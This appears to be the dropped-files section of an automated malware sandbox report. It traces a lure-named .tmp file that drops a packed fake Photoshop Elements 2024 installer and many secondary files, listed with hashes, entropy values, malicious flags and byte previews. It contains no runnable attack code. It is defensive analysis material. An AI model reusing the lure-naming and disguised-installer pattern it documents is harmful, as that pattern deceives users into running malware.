                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\images\05_PSE2024_InstallerCarousel_NewUI_445x239.png

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:PNG image data, 890 x 478, 8-bit/color RGBA, non-interlaced
                                                                                                Category:dropped
                                                                                                Size (bytes):553301
                                                                                                Entropy (8bit):7.995654160787874
                                                                                                Encrypted:true
                                                                                                SSDEEP:12288:epoqx1wWl8qxmvXfTrc+toMT06H+rI6k2S+LmWJXEUon:Ooqx1kqGX/DLXzhEmG0Vn
                                                                                                MD5:3ED1397092BD3EAFDFE71335BF5F5E3C
                                                                                                SHA1:9D1DBE45E4F1F12A0642EED50F91FDC8DA3B888A
                                                                                                SHA-256:8276F8BE890ABEEC09B6AAB522F7B45F60ABE2BFA51FEC333924537BABF9D9E3
                                                                                                SHA-512:5DBE0A094498615CD944F7A16888E4603DC357779A9CA8D8DDEBDCF8AD8C72106EFFD316E3078037EBF254245D2C25BEA5A3ADFE773CCB783090206EE9D75A78
                                                                                                Malicious:true
                                                                                                Preview:.PNG........IHDR...z..........Ay.....sBIT....|.d... .IDATx^...dWy..U.'.(."(#....H(..&K...0a...m..,^.X..Y2.......QB $!..(.Q...=.9W......)uuu....s...U..{.{..~.$.......@@ ...........@@ ...3.$..3}.............@@ ........@..@.........@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..@..X..........@@ ..........@............@@ ........s..]N......04' ..............@"....Z.......D......^.i.r@ ..........9.@5bW..9.FhL@`/A`........_h###V($..LX"..d2.....g..Y...($-...`9

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\index.html

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:HTML document, Unicode text, UTF-8 text, with very long lines (484), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):4509
                                                                                                Entropy (8bit):5.497933185923274
                                                                                                Encrypted:false
                                                                                                SSDEEP:96:hSq8uLYbW1sfMUKJpmtqunn4TJPxqfR7vzf:sX+QQaym6CZ7
                                                                                                MD5:348352BAA22F54466691B8673B6B6C93
                                                                                                SHA1:5F6606EA02606FEC542690E80273AA5FFAAFF0AE
                                                                                                SHA-256:39E5810ACB9489EDF3918ADB3746255866975AFC1F6AB65FFC2BA598C505D2B1
                                                                                                SHA-512:F2749AE136CA182DF2D0FE31DDED8069D8AD915AA8BEEC02871A675BE8F0666042B5E91F4DB39F751A4AECB240DCDB1A23377EB4107EA77FB5B0A478090135D3
                                                                                                Malicious:false
                                                                                                Preview:<!DOCTYPE html>..<html>..<head>...<meta charset="UTF-8">..<title>PSE installer slideshow</title>..<meta name="viewport" content="width=device-width, initial-scale=1">...<link href="https://use.typekit.net/af/c2b3ac/0000000000000000000176ff/27/l?unicode=AAAIKgAAAAeBbOxmgCK-MdR34PEMRZ1Tp9CwbKr4ekaVGobt7iigFXgNffcWrPD_gJGcqz4xm1ZHNxQko2H768-q_TQrRlbWnqbTqCadCnzX6SMLdOBM8TwhjODtXWG7u6eXofuwSXdUrzPUKbfKpbP6PlW4uDR0-6_uxx_z2oPZb3FtGAlPVL4uieBXWVbsZ4asc6c4x6xRdBebJFZn5j3znnW2M2LSxdS-vENrhYjQcGpEJr10KhGz9SJjgjddqPchFHp-i9IDPTig_GvFioJvHs2SJsCuNUs-qApsimZXK9dDrVIGetZ_W6VrfDwKAGEfm-zn0HbNFllfrTmy7jrTddn22c9_90qThgAAAE4&features=ALL&v=3" rel="stylesheet">...<link rel="stylesheet" href="css/styles.css">......<style>.....html {....background-color: #fff;.....}..* {box-sizing: border-box;}..body {...margin:0px;}...mySlides {opacity: 0; position: absolute; transition: all 1s;}..img {vertical-align: middle;}..../* Slideshow container */...slideshow-container {.. max-width: 445px;.. position: relativ

                                                                                                C:\ProgramData\Adobe\Installer\Icons\PSE_24.0\carousel\lib\jquery.min.js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (65482), with CRLF line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):93637
                                                                                                Entropy (8bit):5.292996107428883
                                                                                                Encrypted:false
                                                                                                SSDEEP:1536:96IzxETpavYSGaW4snuHEk/yosnSFngC/VEEG0vd0KO4emAp2LSEMBoviR+I1z5T:v+vIklosn/BLXjxzMhsSQ
                                                                                                MD5:E1288116312E4728F98923C79B034B67
                                                                                                SHA1:8B6BABFF47B8A9793F37036FD1B1A3AD41D38423
                                                                                                SHA-256:BA6EDA7945AB8D7E57B34CC5A3DD292FA2E4C60A5CED79236ECF1A9E0F0C2D32
                                                                                                SHA-512:BF28A9A446E50639A9592D7651F89511FC4E583E213F20A0DFF3A44E1A7D73CEEFDB6597DB121C7742BDE92410A27D83D92E2E86466858A19803E72A168E5656
                                                                                                Malicious:false
                                                                                                Preview:/*! jQuery v1.8.3 jquery.com | jquery.org/license */..(function(e,t){function _(e){var t=M[e]={};return v.each(e.split(y),function(e,n){t[n]=!0}),t}function H(e,n,r){if(r===t&&e.nodeType===1){var i="data-"+n.replace(P,"-$1").toLowerCase();r=e.getAttribute(i);if(typeof r=="string"){try{r=r==="true"?!0:r==="false"?!1:r==="null"?null:+r+""===r?+r:D.test(r)?v.parseJSON(r):r}catch(s){}v.data(e,n,r)}else r=t}return r}function B(e){var t;for(t in e){if(t==="data"&&v.isEmptyObject(e[t]))continue;if(t!=="toJSON")return!1}return!0}function et(){return!1}function tt(){return!0}function ut(e){return!e||!e.parentNode||e.parentNode.nodeType===11}function at(e,t){do e=e[t];while(e&&e.nodeType!==1);return e}function ft(e,t,n){t=t||0;if(v.isFunction(t))return v.grep(e,function(e,r){var i=!!t.call(e,r,e);return i===n});if(t.nodeType)return v.grep(e,function(e,r){return e===t===n});if(typeof t=="string"){var r=v.grep(e,function(e){return e.nodeType===1});if(it.test(t))return v.filter(t,r,!n);t=v.filter(t

                                                                                                C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

                                                                                                Download File
                                                                                                Process:C:\Windows\System32\svchost.exe
                                                                                                File Type:Extensible storage engine DataBase, version 0x620, checksum 0x0c6d5ae9, page size 16384, DirtyShutdown, Windows version 10.0
                                                                                                Category:dropped
                                                                                                Size (bytes):1048576
                                                                                                Entropy (8bit):0.8697722186113721
                                                                                                Encrypted:false
                                                                                                SSDEEP:1536:bSB2qSB2gSjlK/LfDalKohVF8/bGLBSBLil2d/3Cr5DHzk/3A5v7GoCnLKxKHKrx:bapaQK0yfOD8F31Xw
                                                                                                MD5:6DABEA101796F52BFE18BD600D8743D9
                                                                                                SHA1:9CD9ECC4FD6E9D2088F3F86A2DC76166DAC32C48
                                                                                                SHA-256:17D19F6B1F9BB95A44EA6D4FBE59EA63FB2777301FEE434FC44E5829D3B1C5DB
                                                                                                SHA-512:C4BEEBD6B60524E51806B3AED0AE463E1BECD21F695B4B9A98EB64F15FE760B37A896C41EE5463D0560047839CA0F272341969F0C1EF191AC0BC3C7EA2A3768E
                                                                                                Malicious:false
                                                                                                Preview:.mZ.... ................p..*9...y........................0..........|).7....|[.h.2...........................).*9...y..........................................................................................................bJ......n....@...................................................................................................... ........3...{g.....................................................................................................................................................................................................................................2..n7....|{2.................- .7....|[..........................#......h.2.....................................................................................................................................................................................................................................................................................................................................................

                                                                                                C:\Users\user\AppData\Local\Adobe\OOBE\temp_lbs_wid

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with no line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):38
                                                                                                Entropy (8bit):3.618555224999016
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:MnAQSUSjtFn:MAQ/Gnn
                                                                                                MD5:2F1DF154B8E5FCFBFE700D744F65208B
                                                                                                SHA1:6C0FFD79AD8C1D96E489059D523518DCAAFBE3CC
                                                                                                SHA-256:A5C8F8D13D81A5491C71E310B5C5B0A21A5EE1A085EEF77D66DD96FEF77A45E9
                                                                                                SHA-512:D725A7E0A83D9BC7EB50380C82461B1412D2075BFED975F06B4E54CBB69F558773AC486CD463BEC5256904DF5BB0C00645987EDE04A8530C057FE6ED9E98A8F9
                                                                                                Malicious:false
                                                                                                Preview:{6B25530C-971A-4440-B212-034B57547424}

                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\index[1].htm

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:HTML document, Unicode text, UTF-8 text, with very long lines (985), with no line terminators
                                                                                                Category:dropped
                                                                                                Size (bytes):989
                                                                                                Entropy (8bit):5.0158148026932
                                                                                                Encrypted:false
                                                                                                SSDEEP:24:0E0JYyRuUVsGruT0CpeLm7WaYcosVk7EituMGLaMa:0EvygHT0AeLGW9sWftuMvB
                                                                                                MD5:8ACB04E01887F879E9E42213AB939C65
                                                                                                SHA1:BDE3838CB032F27236509AD462467B79E8798761
                                                                                                SHA-256:A45FAE58FCCA382FC6716FCD451A8D7D981747198E8EB2674DB8788AE6EC0696
                                                                                                SHA-512:E4AB9B9AE71254DA98FD6B6EDA058891E86CFF064614AE86A21B052716F0BCB2AFAAE8E90C4AF40FC97F4755705C7B20246EDC726631418FBFD533C37D71B672
                                                                                                Malicious:false
                                                                                                Preview:<!doctype html><html lang="en"><head><meta charset="UTF-8"><link rel="icon" href="../favicon.ico"><script defer="defer" src="../main.b0672d3a39922f82eec8.js"></script><link href="../styles.edd438b7aa7a327c3ab3.css" rel="stylesheet"></head><body class="spectrum spectrum--lightest spectrum--large"><div class="container"><noscript><div class="spectrum-Body4 toaster">JavaScript is disabled.<br/>Please enable JavaScript and try to sign in again.</div></noscript><div class="container-content"><h1 class="spectrum-Heading2"><strong>Check your browser</strong></h1><div class="spectrum-Body4 mod-top-spaced">We.ve opened a new browser tab for you to sign in. (Once you.ve been authenticated, you will automatically continue here.)</div><div class="footer"><hr class="spectrum-Rule spectrum-Rule--medium mod-bot-spaced"/><div class="spectrum-Body5">If your browser is not responding, <a id="Cancel-Link" href="#" class="spectrum-Link">sign in here</a></div></div></div></div></body></html>

                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\main.b0672d3a39922f82eec8[1].js

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (65453)
                                                                                                Category:modified
                                                                                                Size (bytes):93688
                                                                                                Entropy (8bit):5.21686506400035
                                                                                                Encrypted:false
                                                                                                SSDEEP:768:8OjQydyiodEtkCB+uuhQmJ++xAE1e1GCSCk0YQjdmiFC9CUgCGifQrfj7x60ECP0:7jQMtodM+uuzug56dqta5c6fUV4E9j
                                                                                                MD5:6AB5F87F3C4C7DDEBFD5711E66C58A6C
                                                                                                SHA1:55BE8A98377540C25CEC30B9A995D53058DF0196
                                                                                                SHA-256:63BE85C4C16B1D922F38CC01810B0547949531985C6D3360FADB8D07C6AE4E47
                                                                                                SHA-512:D7C8E71B21B498CC7C1EF57B5AAA04F5A706F6C0799A971C5ADC2D3274F11F077BCF0B83C28B27920FE0874C94107ECD3D0CB281E65E9D0DDE2E8EC289DC72DF
                                                                                                Malicious:false
                                                                                                Preview:/*! For license information please see main.b0672d3a39922f82eec8.js.LICENSE.txt */.!function(){var t={479:function(){(function(){"use strict";var t,e;if(!(t=window.location).origin){e=t.protocol+"//"+t.hostname+(t.port?":"+t.port:"");try{Object.defineProperty(t,"origin",{value:e,enumerable:!0})}catch(r){t.origin=e}}}).call(this)}},e={};function r(n){var o=e[n];if(void 0!==o)return o.exports;var i=e[n]={exports:{}};return t[n].call(i.exports,i,i.exports,r),i.exports}r.d=function(t,e){for(var n in e)r.o(e,n)&&!r.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},r.g=function(){if("object"==typeof globalThis)return globalThis;try{return this||new Function("return this")()}catch(t){if("object"==typeof window)return window}}(),r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},function(){"use

                                                                                                C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\styles.edd438b7aa7a327c3ab3[1].css

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:ASCII text, with very long lines (63586)
                                                                                                Category:dropped
                                                                                                Size (bytes):321167
                                                                                                Entropy (8bit):5.086458047670212
                                                                                                Encrypted:false
                                                                                                SSDEEP:1536:KMGSnbnLAEnB/6n2AT3hHs19U2sRhmL0sUn9TEezt4n4Zl8r:GJkTezta
                                                                                                MD5:DAD4CA1B663D737D6E8B8F1157A066F6
                                                                                                SHA1:82FFD15D112DB2DEE16BDD4BD1D7DCA18B1345DA
                                                                                                SHA-256:510C1AB4834E60ACDD19AA91E627DA2A2EF9C5E5D5377A212F3DB525DFCC3813
                                                                                                SHA-512:B4C1BD2503F2F8CE6BD1E5319800D9D348ED347CC9B9E413565070BBEB077E6F1C24929D245AB231493C8280C8397822A5E96ED62C5CA19265F6523EA2E56E5A
                                                                                                Malicious:false
                                                                                                Preview:/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button::-moz-focus-inner,[type=bu

                                                                                                C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Unicode text, UTF-16, little-endian text, with no line terminators
                                                                                                Category:modified
                                                                                                Size (bytes):2
                                                                                                Entropy (8bit):1.0
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:Qn:Qn
                                                                                                MD5:F3B25701FE362EC84616A93A45CE9998
                                                                                                SHA1:D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
                                                                                                SHA-256:B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
                                                                                                SHA-512:98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
                                                                                                Malicious:false
                                                                                                Preview:..

                                                                                                C:\Users\user\AppData\Local\Temp\NGL\NGLClient_HDESD1.ngllogcontrolconfig

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:JSON data
                                                                                                Category:dropped
                                                                                                Size (bytes):176
                                                                                                Entropy (8bit):4.866329860762867
                                                                                                Encrypted:false
                                                                                                SSDEEP:3:GnJl1lysHFgtAeoaVjo+cAeoujPBDJlf2mLlxIPNrRlCkY:G3/uth6tjXleMl61rWkY
                                                                                                MD5:89C34C89C9A7B412D588F23D9FDFBAE0
                                                                                                SHA1:9165DF91E2EF643DB2BE37E607BCF5595845FB53
                                                                                                SHA-256:AA44298C1F5960141C91A3189008FBB20237B936E19E4DDB766ED1F8FC3E93CE
                                                                                                SHA-512:0E4655E70F8086128F1F7BE1CFCF3ADA2BC2A1DE9E7272C15EC56C866261DFE4F7C55B8A6F3DBE84AAB79034A6B5E0E7FFDB48913E0FE090E97EC5F83B5880BC
                                                                                                Malicious:false
                                                                                                Preview:{..."level" : "ERROR",..."maxFileUploadSize" : 1000,..."minFileUploadSize" : 500,..."uploadInterval" : 604800000,..."uploadOnError" : false,..."uploadOnSessionStart" : false..}

                                                                                                C:\Users\user\AppData\Local\Temp\PhotoshopElements_2024_LS30_win64.exe

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
                                                                                                File Type:PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
                                                                                                Category:dropped
                                                                                                Size (bytes):4616696
                                                                                                Entropy (8bit):7.889902633304767
                                                                                                Encrypted:false
                                                                                                SSDEEP:98304:zEN1arTV6P79lzRhuET6WtjIiM+BVHv4EW2hkQc8yUDM8ERvBGzhVarMgeqxFMxx:gNQlm9lzRj3x/wlhbxFQDR/4Q
                                                                                                MD5:43843D75A5EEAD8EE3B71EE2ADCBA3FE
                                                                                                SHA1:980C1446B25652312010C86C661D20BDAD647FDC
                                                                                                SHA-256:BAFD3E50FCBC0CF95C718E9BCE72012991883908EC02B62806E0A6A451864483
                                                                                                SHA-512:90547D04EEBC6B5D250BB7F27E1EDA926A56CEBEF1591879DBC36FB2112985BFDB29478CA1925A8727701CD52CE879FA6C4B74CCE42649A3ADF4558E94558C54
                                                                                                Malicious:false
                                                                                                Antivirus:
                                                                                                • Antivirus: ReversingLabs, Detection: 3%
                                                                                                Joe Sandbox View:
                                                                                                • Filename: WinterRoost_Bearfoos Malware.zip, Detection: malicious, Browse
                                                                                                Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......i...-..-..-..9...>......>......0..9..........+......Y..C...%..9......9.../..9...*..-..d.......J....j.,..-...,......,..Rich-..................PE..L...2^.c...............!.PE......@R.p....PR.......@..........................p.......[G...@.................................hi..........h............GF. *..<j..............................T.......t.........................M.....................UPX0.....@R.............................UPX1.....PE..PR..NE.................@....rsrc................RE.............@..............................................................................................................................................................................................................................................................................................................................................3.91.UPX!....

                                                                                                C:\Users\user\AppData\Local\Temp\a88942a46582b71dbf2e1eacf7cbc7f9.dat

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
                                                                                                File Type:data
                                                                                                Category:dropped
                                                                                                Size (bytes):943593
                                                                                                Entropy (8bit):6.683286371944535
                                                                                                Encrypted:false
                                                                                                SSDEEP:24576:jv3J8Stk9f6g3Sw8N+JIIxa6tHq6JtYyYVr7VglM+kT:jG04Pi3NaIjOKuuyYVr7SlbA
                                                                                                MD5:3F893C500BFCFF220640DB529EB18F37
                                                                                                SHA1:4D063497249508D0C99D32FE6BFB8223D0A138F0
                                                                                                SHA-256:26CC7078A0B8FD480708C4CF1B738524FCF24F729B181DDC4DB2F5D38AC1A681
                                                                                                SHA-512:AEC39D4AD64D1E5D4445EAA6C298C770AFF9F7DC2B6D732C1A744EFB8FF31F1A4C63334A140120D2010A97CAB1020E6850F7E1A9E3509B47685FD9C8E0F86904
                                                                                                Malicious:false
                                                                                                Preview:*, .9K..?..db...&+..Lc_Ob@Q.s.....$.9;|[...).)8..q"..8..Gm..|%.!O.4!#..6.O/(&z;S>)).Ge?.(.;..=9.J 15z.-1= 2>.y,..33.T!=$_ ,5.6...:r..#. +IKpw.-U>...)..$9..w&.....&...2*j.C.,y~Q{t.....<..... ;.K7)...q&..6+....{)..(c..'y-q#!..3.q..**.k>.|x<....G. %;.]...z..,Mi..}/.+5M( "!%.qu..:.9CV?&.'ba...1',%56qH....1/.*..Z9'.+2.0;.c1H0.#+_s%b.7.:p..zr@..a.55..'.<#-...<{R.(.!..).r)<.: ]..[Z.974.."86.F:T..k.--%.9.y)........Z6.j|9.0.O|.r+4-.1.-..}s.."z)....z.=9UL+q1'+. q7>.|...1q.F"f.8=e...).'39.C...'...%.y."..(. ..._.>m.4......x*%/.9..5&..|?.5 ..; >.s ;.[.as2.Q..o4?)$..5p..=...&$..!{."..m./'>'5..7!...!+..$.%.!.3A..).0)`x&.2.6-.?..c~.q..#_6.[#s1{vgfW<.*.8.>......%..'5..#3..>....d?.0.j.{.(...4.(.z#...+.7(&%.D ..9.<?x@~'$3.;Ls+:.7..5.)..7.<07/d..5<..*0.7.>Q1.!)>...**.\"7.A .+9". s.!/r22=......-...-'R@..1.#.9. .544..&j>.|`9..| C.\..'..2.8...I;8.&1u(c.4.$....p..X2.A.=.v/)..."..._..;L(07"...|6.+..09... #'2H).:'$..oH9..{d$..?.Z)?EX?C./0<.<!7.?-%NnM./..)..q6*_ (,..?m..%7."....3Q/..!...?*3 ?[..0.#..8.<(...-'..R

                                                                                                C:\Users\user\AppData\Local\Temp\datCD39.tmp

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Web Open Font Format, TrueType, length 143804, version 0.0
                                                                                                Category:dropped
                                                                                                Size (bytes):143804
                                                                                                Entropy (8bit):7.994906444446731
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:esmFO0Yj8E3HftwXBS/Zc2mR+R7yHRS44+Ia8pRZZ3TAhG:e9LYQE31wxhC7CRSR3a8pPZDAhG
                                                                                                MD5:D070306A9062178AFDFA98FCC06D2525
                                                                                                SHA1:BA299B83EB0A3499820FDDCF305AF0DDBDA3E5D0
                                                                                                SHA-256:8F5CCDFD3DA9185D4AD262EC386EBB64B3EB6C0521EC5BD1662CEC04E1E0F895
                                                                                                SHA-512:7C69E576B01642ECD7DD5FE9531F90608FA9ADE9D98A364BCC81CCD0DA4DAEF55FD0BABC6CB35BFF2963274D09EF0CD2F9BCE8839040776577B4E6A86EB5ADD5
                                                                                                Malicious:false
                                                                                                Preview:wOFF......1................................BASE.......F...Fe(].DYNA............m...GPOS......`s....-GSUB..g(....../FL.Y.OS/2...|...W...`[.Hcmap..*............gcvt .......&...&...Ofpgm...........s.Y.7gasp................glyf...@..in..)...+.head.......6...6....hhea.......!...$....hmtx............ ).loca.......V........maxp....... ... .|..name...H........|'5post......#...R...!.prep...8...B...B0."...............ideoromn..DFLT..cyrl..grek..latn...................`.........-.0.................7...}............x.].=N.0...8,..H..-+.+..R8.P.@(<.?.D..Hih\p..3]..`.....3......k..m.......L.. ...I ..U.I..8sl..w..dQ?..:.x.....o[...`..V.t...).*Q.....s.....L./..L`.//..F..i.C..+*=*ctEc.h.. ....G..d...57..J..T...AYCC.*.;..`<1....b.OLDYTI..<..Q.a.5..=.....'5...$.k.................7..,.._.<..........c[......c.c.d...>..............x.SIn.0.}......}dJ..A+;1.....@..E...Wb.x.nz.... .....z.>QLk.T.....OQ6.w....u.Qc..9.q.opmq..0..E...6.x.....-...O...[.2.i....'...8_-nb.|..E./....h[|...bq....

                                                                                                C:\Users\user\AppData\Local\Temp\datCDF5.tmp

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Web Open Font Format, TrueType, length 144168, version 0.0
                                                                                                Category:dropped
                                                                                                Size (bytes):144168
                                                                                                Entropy (8bit):7.994901288784953
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:0JsrKvbKys3MjOtF2manL9S85AsPO5TKljTSTXTqDqd7GrinYhG:0JsVcbnL9/AsPCT6SrTBauYhG
                                                                                                MD5:E204643042591AEEC2043C5EAE255099
                                                                                                SHA1:BA5F2F94740400F540BEFC89F1C4D022A26FAA84
                                                                                                SHA-256:7F58F56A7A353F8FC78EC2757394A7C7F28165E6BBF2A37D6A6E48E845874F3E
                                                                                                SHA-512:7196C5B8E88100A08EB296BE7570DF4D045268AD6BAB1C45EBAA9063AA9B46B8896886E24A9F861E322B167DD95E18D5A18ABB76F1BB01C8BC85C36BEAD855EF
                                                                                                Malicious:false
                                                                                                Preview:wOFF......3(.......|........................BASE.......F...Fe$].DYNA............m...GPOS......`......>x.GSUB..gX....../FL.Y.OS/2...x...Y...`\7..cmap..,............gcvt .......&...&...nfpgm...........s.Y.7gasp................glyf...p..j...7.uZ.yhead.......6...6...)hhea.......!...$....hmtx................loca.......z........maxp....... ... .|.#name...H............post......#...R...!.prep...4...B...B.-................ideoromn..DFLT..cyrl..grek..latn...................\.........L.S.................7...}............x.].=N.0...8,..H..-+.+..R8.P.@(<.?.D..Hih\p..3]..`.....3......k..m.......L.. ...I ..U.I..8sl..w..dQ?..:.x.....o[...`..V.t...).*Q.....s.....L./..L`.//..F..i.C..+*=*ctEc.h.. ....G..d...57..J..T...AYCC.*.;..`<1....b.OLDYTI..<..Q.a.5..=.....'5...$.k.................7.l.^*_.<..........c[......c.f.]...h..............x.R.n.@.=N."..!..G.m'c.V.^%m..j.H.;.$.b{"{.*+$.......,...|..N.SQ...j.3..s.<..5.!@.p48.+......=..;\y.&.x.=.{|.7..q.!...._rV.......-t.....C...65?<.....x.Zz.

                                                                                                C:\Users\user\AppData\Local\Temp\datCF00.tmp

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Web Open Font Format, TrueType, length 143016, version 0.0
                                                                                                Category:dropped
                                                                                                Size (bytes):143016
                                                                                                Entropy (8bit):7.994779560734768
                                                                                                Encrypted:true
                                                                                                SSDEEP:3072:2De4YJzog90DMe34IKyca1puoUuDOa5xtTt9mkmpsxhG:2D/skj4IK+1lUU31t9cOxhG
                                                                                                MD5:DFCE51814CF6D2F42375F948602CD99D
                                                                                                SHA1:766E162FF305343010B67FBAA28B36AF277C5B34
                                                                                                SHA-256:7A8A945586A1D21D2922CB4AED9E28D872129F6C396AC69F47EF3E32EA972BA0
                                                                                                SHA-512:2C9489C18719AD29928E86A9E631E080B024C882A77A582F40F4F86F625DE9B08AD3C09710D5EE32B5CAE5284FD960F412F05290BDB3B4709F097B269B99CE21
                                                                                                Malicious:false
                                                                                                Preview:wOFF........................................BASE.......F...Fe!].DYNA............m...GPOS......`c....5..GSUB..g......./FL.Y.OS/2...x...Y...`]_..cmap..'............gcvt .......&...&....fpgm...........s.Y.7gasp................glyf...0..fQ...($g..head.......6...6...hhea.......!...$....hmtx...... .....N.Rloca......`.....,..maxp....... ... .|.yname...H..........{Qpost......#...R...!.prep...4...B...B..................ideoromn..DFLT..cyrl..grek..latn...................Y.........m.y.................7...}............x.].=N.0...8,..H..-+.+..R8.P.@(<.?.D..Hih\p..3]..`.....3......k..m.......L.. ...I ..U.I..8sl..w..dQ?..:.x.....o[...`..V.t...).*Q.....s.....L./..L`.//..F..i.C..+*=*ctEc.h.. ....G..d...57..J..T...AYCC.*.;..`<1....b.OLDYTI..<..Q.a.5..=.....'5...$.k.................7....._.<..........c[......c.V.L..................x...n.@.....!.V,.@.c.V..!i..U.D..'.4QlO.......@b...$<.'.)...W.....;?6.W....u.../8j.....w ..s....].....^..}D........=.x.............=.=..c.....t..1..

                                                                                                C:\Users\user\AppData\Local\Temp\datCF4F.tmp

                                                                                                Download File
                                                                                                Process:C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe
                                                                                                File Type:Web Open Font Format, TrueType, length 106380, version 0.0
                                                                                                Category:dropped
                                                                                                Size (bytes):106380
                                                                                                Entropy (8bit):7.993290139237183
                                                                                                Encrypted:true
                                                                                                SSDEEP:1536:JyMTihCz2OrS11KrlnLQmqz8sZ58o17gosLpZ7wC/jRLS2MsXAtYpIdl3vfyupNJ:JbTyry+1yl8mq4LZG2LAtYp8zpNZ/
                                                                                                MD5:FA794EC12D353C26805FF53821331FC2
                                                                                                SHA1:CBC6658BADEDA2AD9B0D2E03A0A35FF7FBBA542A
                                                                                                SHA-256:CFDBD8A2AA463C11E483DC10C480ACD274E9786632F5571A3970E8A20A2D8237
                                                                                                SHA-512:1161AFDBF6FC9B74421031FE6E139587F291FFAEC03CAE4AA76C1A86E10A69C7B1602ECBFBF60287CE8ED926377AD159992CDE605BA98E75B212E971B7E14F18
                                                                                                Malicious:false
